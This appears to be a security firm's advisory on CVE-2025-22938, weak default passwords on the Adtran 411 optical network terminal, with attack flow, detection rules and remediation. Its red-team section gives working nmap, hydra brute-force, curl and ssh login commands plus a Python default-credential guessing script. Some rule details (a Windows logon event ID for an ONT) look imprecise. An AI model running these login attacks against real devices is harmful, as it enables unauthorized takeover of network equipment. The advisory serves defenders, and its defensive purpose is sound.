CVE-2025-22938

Executive Summary

CVE-2025-22938 identifies a critical security weakness in the Adtran 411 Optical Network Terminal (ONT) running firmware version L80.00.0011.M2. The device ships with weak default passwords, which are easily guessable or publicly known. This vulnerability allows an unauthenticated attacker with network access to the ONT's management interface to gain administrative control. Successful exploitation can lead to full device compromise, network eavesdropping, traffic manipulation, and potential lateral movement within the service provider's network. The lack of a confirmed patch from the vendor elevates the risk, making this a high-priority issue for any organization using this device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full device access exposes all data.
• Integrity (I): High (H) – Attacker can modify device configuration and firmware.
• Availability (A): High (H) – Attacker can disrupt service or brick the device.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a severe threat. Immediate action is required.

Deep Dive & Mechanics

The vulnerability stems from the use of weak, hardcoded default passwords for administrative accounts on the Adtran 411 ONT. These passwords are often documented in publicly available manuals or are common factory defaults (e.g., "admin/admin", "root/root", "1234"). The device's web-based management interface or CLI (e.g., Telnet/SSH) is exposed on the network, allowing an attacker to attempt authentication using these known credentials.

Attack Flow:

1. Reconnaissance: The attacker scans the network for devices responding on common management ports (e.g., 80, 443, 22, 23) and identifies the Adtran 411 ONT.
2. Credential Brute-Forcing: Using a list of known default passwords, the attacker attempts to log in to the device's management interface.
3. Authentication Bypass: Upon successful authentication with a weak default password, the attacker gains administrative access.
4. Post-Exploitation: The attacker can then:
   • Modify device configuration (e.g., DNS settings, routing tables).
   • Extract sensitive data (e.g., ISP credentials, network topology).
   • Install persistent backdoors or malicious firmware.
   • Use the device as a pivot point to attack other internal systems.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the vulnerable state is characterized by the presence of weak, hardcoded credentials in the firmware. A patched version would enforce strong, unique passwords during initial setup or require password change upon first login.

Vulnerable Configuration (Conceptual):

# Example of weak default credentials stored in firmware
DEFAULT_USER="admin"
DEFAULT_PASS="admin"

Patched Configuration (Conceptual):

# Patched firmware would force password change
if first_boot:
    print("Please set a strong admin password:")
    new_password = get_secure_input()
    store_password(new_password)

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Virtual machine running an Adtran 411 ONT emulator or a physical device in an isolated network.
• Attacker machine (Kali Linux) on the same network segment.

Exploitation Steps:

1. Scan for the device:

   nmap -p 80,443,22,23 --open 192.168.1.0/24
   

2. Attempt default credentials:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
   

   Or use a simple curl command:

   curl -X POST http://192.168.1.100/login -d "user=admin&pass=admin"
   

3. Gain shell access (if SSH/Telnet is open):

   ssh admin@192.168.1.100
   # Password: admin
   

Automated Exploit (Python):

import requests

target = "http://192.168.1.100"
credentials = [("admin", "admin"), ("root", "root"), ("user", "1234")]

for user, passwd in credentials:
    r = requests.post(f"{target}/login", data={"user": user, "pass": passwd})
    if "incorrect" not in r.text:
        print(f"[+] Valid credentials found: {user}:{passwd}")
        break

Blue Team (Defensive)

Detection & Response:

1. Monitor for failed login attempts: High volume of 401/403 errors on the ONT's management interface.
2. Network segmentation: Isolate ONT management interfaces from the general corporate network.
3. Change default passwords immediately: If the device is in use, change all default credentials to strong, unique passwords.
4. Disable unused services: Turn off Telnet, HTTP, or any management protocol not required.
5. Implement access control lists (ACLs): Restrict management access to trusted IP addresses only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual traffic to/from the ONT's IP address on ports 80, 443, 22, 23.
  • Multiple failed authentication attempts from a single source IP.
  • Outbound connections from the ONT to unknown external IPs (potential C2).
• Host IOCs:
  • Modified configuration files (e.g., /etc/config/dropbear, /etc/config/httpd).
  • Presence of unauthorized SSH keys in /root/.ssh/authorized_keys.
  • New user accounts or modified passwords.
• Log IOCs:
  • Repeated "Login failed" or "Authentication failure" messages in device logs.
  • Successful login from an unexpected IP address.

Detection Engineering

YARA Rule

rule CVE_2025_22938_Weak_Default_Passwords {
    meta:
        description = "Detects weak default password patterns in Adtran 411 ONT firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22938"
    strings:
        $weak_pass1 = "admin:admin" ascii wide nocase
        $weak_pass2 = "root:root" ascii wide nocase
        $weak_pass3 = "user:1234" ascii wide nocase
        $weak_pass4 = "support:support" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Detection of Weak Default Password Usage on Adtran 411 ONT
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects multiple failed login attempts followed by a successful login using default credentials on Adtran 411 ONT.
author: Valters IT
date: 2025-04-10
logsource:
    category: authentication
    product: adtran_ont
detection:
    selection:
        EventID: 4625  # Failed logon
        TargetUserName:
            - 'admin'
            - 'root'
            - 'user'
        LogonType: 3  # Network
    condition: selection | count() > 5 by SourceIp within 5m
    timeframe: 5m
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443,22,23 (msg:"CVE-2025-22938 - Adtran 411 ONT Default Credential Attempt"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; content:"user=admin&pass=admin"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Passwords: Immediately change all default passwords on every Adtran 411 ONT device to strong, unique credentials.
2. Disable Unused Management Interfaces: If web or SSH access is not required, disable these services.
3. Network Segmentation: Place ONT management interfaces on a separate VLAN with strict access controls.
4. Monitor Logs: Enable logging and monitor for suspicious authentication attempts.

Long-Term Actions:

1. Firmware Update: Contact Adtran for a patched firmware version. If unavailable, consider replacing the device.
2. Implement 2FA: If supported, enable multi-factor authentication for management access.
3. Vendor Communication: Pressure the vendor to release a security patch and publicly disclose the vulnerability.

Workaround: If patching is not possible, use a firewall to restrict management access to only trusted administrative IPs and implement an intrusion prevention system (IPS) to block brute-force attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Division